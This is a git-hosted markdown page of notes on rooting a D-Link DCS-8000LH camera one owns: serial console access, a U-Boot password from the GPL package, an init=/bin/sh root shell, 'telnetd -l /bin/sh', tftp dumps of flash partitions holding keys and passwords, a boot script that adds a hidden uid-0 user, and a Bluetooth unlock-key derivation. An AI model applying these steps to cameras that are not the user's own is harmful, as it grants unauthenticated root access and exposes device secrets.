summaryrefslogtreecommitdiff
path: root/dcs8000lh.md
blob: 9be726178180f9813f7fbcc92a8d90333e527c8e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
# D-Link DCS-8000LH

## Hardware spec

 *
 *

No ethernet.  No USB.  No memory card slot.

Currently unsupported by OpenWrt.


## Foggy business

Bummer.  Got a new camera with firmware version 2.01.03.  This version
is locked to a app/cloud service.  It does not run a local NIPCA
compatible web API, and it does not stream video in a fashion we can
easily access.  And there is no way to downgrade the firmware either.
In fact, there is no easy way to install any firmware image


## Serial console

Despite the above, I gotta love D-Link for this one.

Started opening the case, which is pretty simple: Remove the two
screws behind the bottom label, remove the top and bottom "lids".
Split the two cylinder halves.

But I didn't finish opening the case, because I discovered that the
serial console is accessible from the outside!  There is a 2 mm, 4
hole, female header in the bottom of the camera. This header is
accessible via 4 tiny holes in the case behind the bottom
label. Simply mate it with a 3 (or 4) pin male 2 mm connector, and you
have console!

The pinout seen from center to edge of camera is:

 | GND | RX | TX |  3.3V |

You obviously need a 3.3V TTL adapter for this.  I use a cheap PL2303
based USB adapter from eBay.  Look at the generic OpenWrt console
instructions for guidance.

The serial port parameters are 57600 8N1


## U-Boot

The camera came with

`U-Boot 2014.01-rc2-V1.1 (Jun 06 2018 - 03:44:37)`


without too much vendor added mess AFIACS.  There is one minor issue
though: Access to the prompt is password protected.

Still, even if this might provoke some bad thoughts, I just have to
love D-Link for making the password readily available in their GPL
package :-)

From `DCS-8000LH-GPL/configs/gpl_defconfig`:

`ALPHA_FEATURES_UBOOT_LOGIN_PASSWORD="alpha168"`

Enter this password when you see

`Press ESC to abort autoboot in 3 seconds`

And you'll get a `rlxboot#` prompt :

```
rlxboot# ?
?       - alias for 'help'
base    - print or set address offset
bootm   - boot application image from memory
bootp   - boot image via network using BOOTP/TFTP protocol
cmp     - memory compare
coninfo - print console devices and information
cp      - memory copy
crc32   - checksum calculation
echo    - echo args to console
editenv - edit environment variable
efuse   - efuse readall | read addr
env     - environment handling commands
fephy   - fephy read/write
go      - start application at address 'addr'
help    - print command description/usage
imxtract- extract a part of a multi-image
loadb   - load binary file over serial line (kermit mode)
loadx   - load binary file over serial line (xmodem mode)
loady   - load binary file over serial line (ymodem mode)
loop    - infinite loop on address range
md      - memory display
mm      - memory modify (auto-incrementing address)
mw      - memory write (fill)
nm      - memory modify (constant address)
ping    - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
reset   - Perform RESET of the CPU
setenv  - set environment variables
setethaddr- set eth address
setipaddr- set ip address
sf      - SPI flash sub-system
source  - run script from memory
tftpboot- boot image via network using TFTP protocol
tftpput - TFTP put command, for uploading files to a server
tftpsrv - act as a TFTP server and boot the first received file
update  - update image
version - print monitor, compiler and linker version
```

Using this for image manipulation is hard since there is no ethernet,
USB or removable flash.  It is probably possible to load an image over
serial, but I don't have the patience for that....

The environment is pretty clean too:
```
rlxboot# printenv
=3
addmisc=setenv bootargs ${bootargs}console=ttyS0,${baudrate}panic=1
baudrate=57600
bootaddr=(0xBC000000 + 0x1e0000)
bootargs=console=ttyS1,57600 root=/dev/mtdblock8 rts_hconf.hconf_mtd_idx=0 mtdparts=m25p80:256k(boot),128k(pib),1024k(userdata),128k(db),128k(log),128k(dbbackup),128k(logbackup),3072k(kernel),11264k(rootfs)
bootcmd=bootm 0xbc1e0000
bootfile=/vmlinux.img
ethact=r8168#0
ethaddr=00:00:00:00:00:00
load=tftp 80500000 ${u-boot}
loadaddr=0x82000000
stderr=serial
stdin=serial
stdout=serial

Environment size: 533/131068 bytes
```

No need to dwell on the weirdness of ethernet settings here. Modifying
the command line is more than enough for our purpose:

`rlxboot# setenv bootargs ${bootargs} init=/bin/sh`

Then continue to boot normally:

`rlxboot# ${bootcmd}`

This will provide a temporary root shell, without making any permanent
changes to the system. But /sbin/init is skipped altogether, which
means that nothing is mounted etc.  Not even /sys and /proc.  The
simplest way to both have the root shell and a normal system, is by
running

`/etc/rc.d/rcS` 

in that root shell.  You might also want to run

`telnetd -l /bin/sh`

so you can telnet into the camera instead of/in addition to the shell
on the serial console.  Only if you set up networking, using the mydlink
app, first, of course.

## Configuring the camera using the mydlink app

We need networking for the remaining parts.  Which means that you have
to configure the camera, either using the mydlink app, or by using
Bluetooth GATT commands as described below.


### Automatic firmware upgrades

Remember to disable automatic firmware upgrades before changing any of
the installed file systems.

The file systems will be replaced on every firmware upgrade, so any
local changes will be lost if the camera is upgraded.  Let the system
upgrade to the latest version before making the changes, if you want
the most recent firmware.

Note that I've only tested the procedure with firmware versions
*2.01.03* and *2.02.02*.  A different set of modifications could be
necessary to make this work with other versions.


## Backing up

Create a backup of everything *before* you mess up.  Restoring will be
hard anyway, so don't rely on that.  But you can forget about
restoring at all unless you have the backup, so make it anyway.

Note that the "pib" partition contains device specific data which
cannot be restored from any other source than your device:
 * model number
 * hardware revision
 * mac address
 * feature bits
 * private keys and passwords

The backup is also useful for analyzing the system offline.

You will need networking.  In theory, you could dump the flash to the
console and save it from the terminal, but that would be very time
consuming and tiresome.

There are several network transfer tools in the original firmware:
 * tftp
 * wget
 * curl
 * ...and probably more


I've been using tftp becuase it is simple. You'll obviously need a
tftp server for this. Google for instructions on setting that up.  You
could alternatively set up a web server to use wget or curl.

Copying out all flash partitions is as easy as for example:

`for i in 0 1 2 3 4 5 6 7 8; do tftp -l /dev/mtd${i}ro -r mtd$i -p 192.168.2.1; done`

Change 192.168.2.1 to the address of your tftp server. Some tftp
servers might require existing and writable destination files. Refer
to the tftp server docs.


FIXME:  check out /usr/bin/flash_erase and /usr/bin/flashcp



### Partitions

The partitions are:
```
# cat /proc/mtd 
dev:    size   erasesize  name
mtd0: 00040000 00010000 "boot"
mtd1: 00020000 00010000 "pib"
mtd2: 00100000 00010000 "userdata"
mtd3: 00020000 00010000 "db"
mtd4: 00020000 00010000 "log"
mtd5: 00020000 00010000 "dbbackup"
mtd6: 00020000 00010000 "logbackup"
mtd7: 00300000 00010000 "kernel"
mtd8: 00b00000 00010000 "rootfs"
```
Or as seen by the driver with start and end addresses:

```
9 cmdlinepart partitions found on MTD device m25p80
Creating 9 MTD partitions on "m25p80":
0x000000000000-0x000000040000 : "boot"
0x000000040000-0x000000060000 : "pib"
0x000000060000-0x000000160000 : "userdata"
0x000000160000-0x000000180000 : "db"
0x000000180000-0x0000001a0000 : "log"
0x0000001a0000-0x0000001c0000 : "dbbackup"
0x0000001c0000-0x0000001e0000 : "logbackup"
0x0000001e0000-0x0000004e0000 : "kernel"
0x0000004e0000-0x000000fe0000 : "rootfs"
```

Partition usage summary:

 | number | name        | start    | end      |   size   | fstype   | contents       |
 |   0    | "boot"      | 0x000000 | 0x040000 |  0x40000 | boot     | U-Boot         |
 |   1    | "pib"       | 0x040000 | 0x060000 |  0x20000 | raw      | device info    |
 |   2    | "userdata"  | 0x060000 | 0x160000 | 0x100000 | squashfs | mydlink (/opt) |
 |   3    | "db"        | 0x160000 | 0x180000 |  0x20000 | tar.gz   | dynamic data   |
 |   4    | "log"       | 0x180000 | 0x1a0000 |  0x20000 | raw?     | empty          |
 |   5    | "dbbackup"  | 0x1a0000 | 0x1c0000 |  0x20000 | tar.gz   | copy of "db"   |
 |   6    | "logbackup" | 0x1c0000 | 0x1e0000 |  0x20000 | raw?     | empty          |
 |   7    | "kernel"    | 0x1e0000 | 0x4e0000 | 0x300000 | uImage   | Linux 3.10     |
 |   8    | "rootfs"    | 0x4e0000 | 0xfe0000 | 0xb00000 | squashfs | rootfs (/)    |


Firmware upgrades replace the "userdata", "kernel" and "rootfs"
partitions, but leave all(?) other partitions unmodified. I imagine
that the "boot" partition could be upgraded too if necessary. But it
was not touched when going from 2.01.03 to 2.02.02, FWIW.

The "log" and "logbackup" appear to be currently unused.  But I am
reluctant trusting this, given their names.  I guess they could be
cleaned and overwritten anytime.


### Backup up dynamic data

This is not necessary for system operation as any non-volatile data is
saved in the "db" partition anyway.  But it can still be useful
to have a copy of the system state for offline studying, so I also
like to save a working copy of /tmp:
```
tar zcvf /tmp/tmp.tgz /tmp/
tftp -l /tmp/tmp.tgz -r tmp.tgz -p 192.168.2.1
```


## Making the NIPCA webserver start automatically

The good news is that D-Link left all the webserver parts in the
firmware, including all the NIPCA CGI tools. You can start it from the
shell by running:
```
tdb set HTTPServer Enable_byte=1
/etc/rc.d/init.d/extra_lighttpd.sh start
```
Changing the `HTTPServer Enable_byte` is only necessary the first
time.  The setting is stored in the non-volatile "db" partition.

The bad news is that I haven't found a way to re-enable the webserver
startup by simply making changes to the non-volatile variables. Making
the webserver start automatically requires changes to a file system in
either the "userdata" or "rootfs" partition.  I have chosen to modify
the "userdata" file system because it only contains the mydlink
applications mounted on /opt, and messing with it is therefore much
simpler than messing with the root filesystem.


### Creating a modified "userdata" file system

This is done on a separate Linux system, using the backup we made of
mtd2 ("userdata"). The necessary tools are unsquashfs and mksquashfs,
found in the squashfs-tools package on Debian.

```
cd /tmp
unsquashfs mtd2
vi squashfs-root/webenable
chmod 755 squashfs-root/webenable
sed -i -e '/check_alive strmsvr/i \
  check_alive webenable' squashfs-root/mydlink_watchdog.sh
mksquashfs squashfs-root mtd2.new -all-root -comp xz
```

You can put whatever you want into the webenable script. But make sure
it works, and doesn't exit, since the mydlink_watchdog we use to start
it might barf otherwise.

webenable script example, creating a new root user named "foo" and
starting telnetd as well:
```
#!/bin/sh

echo "Doing local fixups..."
killall -TERM telnetd
grep -Eq ^foo: /etc/passwd || echo "foo:x:0:0::/:/bin/sh" >> /etc/passwd && echo "foo:$(pibinfo Pincode)" | chpasswd -m
[ "$(tdb get HTTPServer Enable_byte)" -eq "1" ] || tdb set HTTPServer Enable_byte=1
[ -n "$(tdb get HTTPAccount AdminPasswd_ss)" ] || tdb set HTTPAccount AdminPasswd_ss=$(pibinfo Pincode)
/etc/rc.d/init.d/extra_lighttpd.sh start
telnetd -F
```

You might want to upload this script to the /tmp ramfs and test it a
few times before writing it to flash.  When you are satisfied, then do
something like this in the camera shell:
```
tftp -r mtd2.new -l /tmp/mtd2.new -g 192.168.2.1
umount /opt
```

The `umount` will likely fail.  If so, then do not continue, but look
for any processing keeping files in /opt open, kill them, and retry. For example

```
# ps w|grep /mydlink
  800 root      1432 S    {mydlink_watchdo} /bin/sh /mydlink/mydlink_watchdog.
 1133 root     17936 S    /mydlink/strmsvr
 1422 root     18896 S    /mydlink/cda
 1455 root      4464 S <  /mydlink/sa
 2299 root     26076 S    /mydlink/da_adaptor -s mdb
19627 root      1416 S    grep /mydlink
# kill -TERM 800 1133 1422 1455 2299
umount /opt
```

After successfully unmounting:
```
cat /tmp/mtd2.new >/dev/mtdblock2 
mount /dev/mtdblock2 /opt
```

You should now see your script as `/opt/webenable`, and it will start
automatically after booting.  This change is permanent until the next
firmware upgrade, after which the process must be repeated from the
beginning.  So you'll want to disable automatic upgrades unless you
enjoy using the serial console.



### Using NIPCA to manage the camera

The local web server provides a direct camera management API, but not
a web GUI application. And all commands require authentication. By
default there is a single admin user, using the pincode from the
camera label as passord.  I believe you can add more users using the
API, but I haven't tested this.

Google a NIPCA reference, or look at the script names under /var/www
and try them out.  Some examples:


```
$ curl -u admin:012345 'http://dcs8000lh.mork.no/config/datetime.cgi' 
method=1
timeserver=ntp1.dlink.com
timezone=1
utcdate=2019-05-09
utctime=13:25:14
date=2019-05-09
time=15:25:14
dstenable=yes
dstauto=yes
offset=01:00
starttime=3.2.0/02:00:00
stoptime=11.1.0/02:00:00

$ curl -u admin:012345 http://dcs8000lh.mork.no/config/led.cgi?led=off
led=off
```


### Streaming video locally

The whole point of all this... We can now stream directly from the
camera using for example:

```
vlc https://192.168.2.99/video/mpegts.cgi
vlc https://192.168.2.99/video/flv.cgi
```

...of course replacing 192.168.2.99 with the address of your camera.
Use the same admin user and pincode to authenticate.




## Bluetooth

The mydlink app use Bluetooth LE GATT commands for the initial setup,
like selecting and configuring a Wireless network. It is possible to
do this manually too, if you have a Linux system with a modern
Bluetooth controller.  Most laptops with Linux will do.

The Bluetooth service is in "locked" mode by default, This is
controlled by the "Ble Mode" setting in the "db". If true ("1"), then
most of the Bluetooth commands are rejected.  The system will
automatically enter lock mode 180 seconds after the last client
disconnected.

There are multiple ways to unlock the Bluetooth service, like for
example running `tdb set Ble Mode_byte=0` in a shell.  But the
obviously most useful unlock method is using the challenge -> response
method described below


### Convert pincode to session key

Most of the Bluetooth commands are protected when locked.  They can be
unlocked by using the pincode printed on the camera label.  This
pincode is not sent directly over the air though. Instead it is
combined with a random challenge.

Both the random challenge and the matching key are generated by the
application `sbin/gen_bt_config` on the camera side.  The key is
calculated by taking the first 16 bytes of the base64 encoded md5sum
of the concatination of
 * model string
 * '-'
 * four last uppercase digits of the mac address
 * pincode
 * challenge.

The first part., before the pincode, happens to be identical to the
Bluetooth device name.  So an application can simply use this.

Note that this application depend on bluetooth libraries, which are
not in /lib. So we have to set LD\_LIBRARY\_PATH to run it:

```
# LD_LIBRARY_PATH=/var/bluetooth/lib sbin/gen_bt_config update_key_only
In main:182: modelStr = 'DCS-8000LH'
In main:183: mac = 'b0:c5:54:ab:cd:ef'
In update_ble_key:87: key data = 'DCS-8000LH-CDEF012345b2gaescrbldchnik'
```

I've slightly obfuscated my data here - the pincode in the above case
is `012345`, and the dynamically generated challenge is
`b2gaescrbldchnik`. The generated challenge and key are stored in
`/tmp/db/db.xml` and can be read directly from there:
```
# grep Key /tmp/db/db.xml |tail -2
<ChallengeKey type="3" content="b2gaescrbldchnik" />
<Key type="5" content="jrtY6nONQ5rV+2Ph" />
```

Or you can read them using the same tools the Bluetooth system uses:
```
# tdb get Ble ChallengeKey_ss
b2gaescrbldchnik
# mdb get ble_key
jrtY6nONQ5rV+2Ph
```

Yes, it does actually use tdb for the first one and mdb for the
second.  I have absolutely no idea why,... It is possible to read the key using tdb too:

```
# tdb get Ble Key_ss
jrtY6nONQ5rV+2Ph
```

Generating the key by hand on a Linux system, without the final
truncation to 16 bytes:

```
$ echo -n 'DCS-8000LH-CDEF012345b2gaescrbldchnik' | md5sum | xxd -r -p | base64 | cut -c-16
jrtY6nONQ5rV+2Ph
```

### GATT API

D-Link is using the GATT BlueZ example plugin, patching it to add
their camera specific endpoints.  This means that we can find all the
API "documentation" in the
`DCS-8000LH-GPL/package/bluez_utils/feature-patch/5.28/customized-mydlink.patch`
file in the GPL archive.

They use a number of 16bit UUIDs with nonsense names:
```
+#define IPCAM_UUID		0xD001
+#define A000_UUID		0xA000
+#define A001_UUID		0xA001
+#define A100_UUID		0xA100
+#define A101_UUID		0xA101
+#define A102_UUID		0xA102
+#define A103_UUID		0xA103
+#define A104_UUID		0xA104
+#define A200_UUID		0xA200
+#define A201_UUID		0xA201
+#define A300_UUID		0xA300
+#define A301_UUID		0xA301
+#define A302_UUID		0xA302
+#define A303_UUID		0xA303
+#define A304_UUID		0xA304
```


`IPCAM_UUID` is registered as the `GATT_PRIM_SVC_UUID`, which means
that it shows up as a primary GATT service we can scan for.

The rest of the UUIDs are characteristics of the primary service.


#### data formatting

Both input and output parameters are sent as ascii strings with
key=value pairs joined by `;`.  The keys are single upper case
characters. Key names are reused, so the meaning depend on the
endpoint. 

Values are either integers, including boolean 0/1, or a consist of a
restricted set of ascii text.

Examples:
```
M=1;C=b2gaescrbldchnik
N=DCS-8000LH;P=1;T=1557349762;Z=CET-1CEST,M3.5.0,M10.5.0/3;F=2.01.03;H=A1;M=B0C554ABCDEF;V=3.0.0-b71
I=192.168.2.37;N=255.255.255.0;G=192.168.2.1;D=148.122.16.253
```

#### Endpoints

FIXME: /sbin/save_wireless_info decodes S and E values into wpa_supplicant.conf settings. How?

FIXME: figure out the wlan survey format.  It splits pages, and numbers them.

L=I=AirLink126FD4,M=0,C=11,S=4,E=2,P=46&L=I=Antiboks,M=0,C=1,S=4,E=2,P=88&L=I=ASV17,M=0,C=11,S=4,E=2,P=48&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=72&L=I=fjorde123,M=0,C=1,S=4,E=2,P=48&L=I=Getbox-2B797A,M=0,C=1,S=4,E=2,P=46&L=I=JOJ,M=0,C=11,S=4,E=2,P=56&L=I=Kjellerbod,M=0,C=1,S=4,E=2,P=75&L=I=mgmt,M=0,C=1,S=4,E=2,P=88&L=I=Rindedal,M=0,C=11,S=4,E=2,P=64&L=I=VIF,M=0,C=11,S=4,E=2,P=46

Real example:

[B0:C5:54:4C:CC:73][LE]> characteristics 0x0011
handle: 0x0012, char properties: 0x12, char value handle: 0x0013, uuid: 0000a000-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x0a, char value handle: 0x0016, uuid: 0000a001-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x02, char value handle: 0x0018, uuid: 0000a100-0000-1000-8000-00805f9b34fb
handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000a101-0000-1000-8000-00805f9b34fb
handle: 0x001b, char properties: 0x08, char value handle: 0x001c, uuid: 0000a102-0000-1000-8000-00805f9b34fb
handle: 0x001d, char properties: 0x02, char value handle: 0x001e, uuid: 0000a103-0000-1000-8000-00805f9b34fb
handle: 0x001f, char properties: 0x02, char value handle: 0x0020, uuid: 0000a104-0000-1000-8000-00805f9b34fb
handle: 0x0021, char properties: 0x0a, char value handle: 0x0022, uuid: 0000a200-0000-1000-8000-00805f9b34fb
handle: 0x0023, char properties: 0x08, char value handle: 0x0024, uuid: 0000a201-0000-1000-8000-00805f9b34fb
handle: 0x0025, char properties: 0x0a, char value handle: 0x0026, uuid: 0000a300-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 0000a301-0000-1000-8000-00805f9b34fb
handle: 0x0029, char properties: 0x08, char value handle: 0x002a, uuid: 0000a302-0000-1000-8000-00805f9b34fb
handle: 0x002b, char properties: 0x08, char value handle: 0x002c, uuid: 0000a303-0000-1000-8000-00805f9b34fb
handle: 0x002d, char properties: 0x02, char value handle: 0x002e, uuid: 0000a304-0000-1000-8000-00805f9b34fb



FIXME: what are the provisioning parameters?

example:

[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0028
Characteristic value/descriptor: 4e 3d 3b 54 3d 3b 55 3d 

bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 4e 3d 3b 54 3d 3b 55 3d
N=;T=;U=


FIXME: the mydlink register commands operate on /tmp/mydlink/reg_st and /tmp/mydlink/reg_info files

[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x002e
Characteristic value/descriptor: 53 3d 31 31 3b 45 3d 30 
bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 53 3d 31 31 3b 45 3d 30
S=11;E=0

after factory reset:

[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x002e
Characteristic value/descriptor: 45 3d 30 3b 53 3d 30 

bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 45 3d 30 3b 53 3d 30
E=0;S=0



The characteristics are mapped to system commands or data as follows::

 | UUID | op     | description     | format                                  | keys                                                                                                            |
 | A000 | read   | last status     | C=%d;A=%d;R=%d                          | C: uuid, A: mode, R: state                                                                                      |
 | A000 | notify | last status     | C=%d;A=%d;R=%d                          | C: uuid, A: mode, R: state                                                                                      |
 | A001 | read   | challenge       | M=%d;C=%s                               | M: opmode, C: challenge                                                                                         |
 | A001 | write  | auth            | M=%d;K=%s                               | M: opmode, K: key                                                                                               |
 | A100 | read   | wifi survey     | N=%d;P=%d;...                           |                                                                                                                 |
 | A101 | read   | wifi config     | M=%s;I=%s;S=%s;E=%s                     | M: opmode, I: essid, S: 4 , E: 2                                                                                |
 | A101 | write  | wifi config     | M=%s;I=%s;S=%s;E=%s;K=%s                | M: opmode, I: essid, S: 4 , E: 2, K: password                                                                   |
 | A102 | write  | wifi connect    | C=%d                                    | C: connect (0/1)                                                                                                |
 | A103 | read   | wifi status     | S=%d                                    | S: wifi link status (0,1,?)                                                                                     |
 | A104 | read   | ip config       | I=%s;N=%s;G=%s;D=%s                     | I: address, N: netmask, G: gateway, D: DNS-server                                                               |
 | A200 | read   | system info     | N=%s;P=%d;T=%d;Z=%s;F=%s;H=%s;M=%s;V=%s | N: devicename, P: haspin (0/1), T: time (unix epoch), Z: timezone, F: fwver, H: hwver, M: macaddr, V:mydlinkver |
 | A200 | write  | name and time   | N=%s;T=%d;Z=%s                          | N: devicename, T: time (unix epoch), Z: timezone                                                                |
 | A201 | write  | admin password  | P=%s;N=%s                               | P: current password (pincode), N: new password                                                                  |
 | A300 | read   | reg state       | G=%d                                    | G: registration state (0/1)                                                                                     |
 | A300 | write  | reg state       | G=%d                                    | G: registration state (0/1)                                                                                     |
 | A301 | read   | provisioning    | N=%s;T=%s;U=%s                          | N: username, T: footprint, U: portal                                                                            |
 | A302 | write  | restart mydlink | C=%d                                    | C: restart (0/1)                                                                                                |
 | A303 | write  | register        | S=%s;M=%s                               | S: , M:  (written to /tmp/mydlink/reg_info, and then kill -USR1 `pidof da_adaptor`)                             |
 | A304 | read   | register        | S=%d;E=%d                               | S: , E:  (cat /tmp/mydlink/reg_st)                                                                              |



##### A100

The wifi survey scan results are split in 128 byte "pages", where each
page starts with the total number of pages and the current page
number.  The characteristic value must be read as many times as the
given total to restrieve all pages.

For example, reading 3 pages:
```
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 31 3b 4c 3d 49 3d 41 6e 74 69 62 6f 6b 73 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 26 4c 3d 49 3d 41 53 56 31 37 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 36 26 4c 3d 49 3d 41 53 56 31 37 2d 64 6c 69 6e 6b 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 38 26 4c 3d 49 3d 66 6a 6f 72 64 65 31 32 33 2c 4d 3d 30 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 32 3b 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 38 26 4c 3d 49 3d 4a 4f 4a 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 37 26 4c 3d 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 26 4c 3d 49 3d 6d 67 6d 74 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 52 69 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 33 3b 6e 64 65 64 61 6c 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 
```

The strings are decoded to:
```
N=3;P=1;L=I=Antiboks,M=0,C=6,S=4,E=2,P=62&L=I=ASV17,M=0,C=11,S=4,E=2,P=46&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68&L=I=fjorde123,M=0
N=3;P=2;,C=1,S=4,E=2,P=58&L=I=JOJ,M=0,C=11,S=4,E=2,P=47&L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=Ri
N=3;P=3;ndedal,M=0,C=11,S=4,E=2,P=62
```

Which, when joined after removing the paging info, becomes::
```
